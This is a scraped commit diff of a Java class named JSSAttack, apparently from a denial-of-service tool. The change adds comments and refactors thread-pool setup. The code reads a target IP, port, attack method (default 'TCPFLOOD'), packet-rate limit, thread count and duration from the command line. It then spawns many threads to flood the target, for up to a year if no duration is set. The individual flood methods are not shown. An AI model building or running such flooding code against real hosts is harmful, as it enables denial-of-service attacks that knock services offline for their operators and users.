16
16
@ Getter
17
17
@ RequiredArgsConstructor
18
18
public class JSSAttack implements Runnable {
19
- public final TaskManager taskManager = new TaskManager ();
20
19
public final CommandLineParser parser ;
21
20
public boolean isDebug ;
22
21
22
+ /**
23
+ * Returns the appropriate attack method based on the provided method, byte size, and attack statics.
24
+ * @param method the attack method
25
+ * @param byteSize the size of the attack in bytes
26
+ * @param attackStatics the attack statics
27
+ * @return the appropriate attack method
28
+ */
23
29
@ NotNull
24
30
private static IAttackMethod getMethod (String method , Integer byteSize , AttackStatics attackStatics ) {
25
31
return switch (method ) {
@@ -32,8 +38,12 @@ private static IAttackMethod getMethod(String method, Integer byteSize, AttackSt
32
38
};
33
39
}
34
40
41
+ /**
42
+ * Runs the attack with the specified parameters.
43
+ */
35
44
@ SneakyThrows
36
45
public void run () {
46
+ // Parse command line arguments
37
47
this .isDebug = this .parser .get ("--debug" , Boolean .class , false );
38
48
final String ip = this .parser .get ("--ip" , String .class , null );
39
49
final Integer port = this .parser .get ("--port" , Integer .class , -1 );
@@ -44,12 +54,14 @@ public void run() {
44
54
final String method = this .parser .get ("--method" , String .class , "TCPFLOOD" );
45
55
final Boolean verbose = this .parser .get ("--verbose" , Boolean .class , false );
46
56
57
+ // Set logging level based on verbosity and debug mode
47
58
if (verbose ) {
48
59
Logger .setCurrentLevel (Logger .LEVEL .VERBOSE );
49
60
} else if (this .isDebug ) {
50
61
Logger .setCurrentLevel (Logger .LEVEL .DEBUG );
51
62
}
52
63
64
+ // Log debug information if debug mode is enabled
53
65
if (this .isDebug ()) {
54
66
Logger .setSection ("DEBUG" );
55
67
Logger .log (Logger .LEVEL .INFO , "IP is: " + ip );
@@ -58,11 +70,16 @@ public void run() {
58
70
Logger .log (Logger .LEVEL .INFO , "ByteSize is: " + byteSize );
59
71
}
60
72
73
+ // Initialize task manager
74
+ TaskManager taskManager = new TaskManager (maxThreads );
75
+
76
+ // Initialize attack parameters
61
77
final AttackStatics attackStatics = new AttackStatics (ppsLimit );
62
78
final IAttackMethod attackMethod = getMethod (method , byteSize , attackStatics );
63
79
final InetAddress addr = InetAddress .getByName (ip );
64
80
final LocalTime endTime = LocalTime .now ().plus (Duration .ofSeconds (duration ));
65
81
82
+ // Start the attack and log thread creation
66
83
Logger .setSection ("ATTACK" );
67
84
for (int i = 0 ; i <= maxThreads ; i ++) {
68
85
Logger .log (Logger .LEVEL .DEBUG , "Adding new thread. Max: " + maxThreads );
@@ -78,8 +95,10 @@ public void run() {
78
95
});
79
96
}
80
97
98
+ // Log start of attack
81
99
Logger .log (Logger .LEVEL .INFO , "Attacking..." );
82
100
101
+ // Add task to print attack statistics if verbose mode is enabled
83
102
if (verbose ) {
84
103
taskManager .add (() -> {
85
104
while (LocalTime .now ().isBefore (endTime )) {
@@ -93,6 +112,7 @@ public void run() {
93
112
});
94
113
}
95
114
115
+ // Perform attack for specified duration or indefinitely
96
116
if (duration == -1 ) {
97
117
taskManager .doTasks (TimeUnit .DAYS , 365 );
98
118
Logger .log (Logger .LEVEL .INFO , "Happy new year!" );
0 commit comments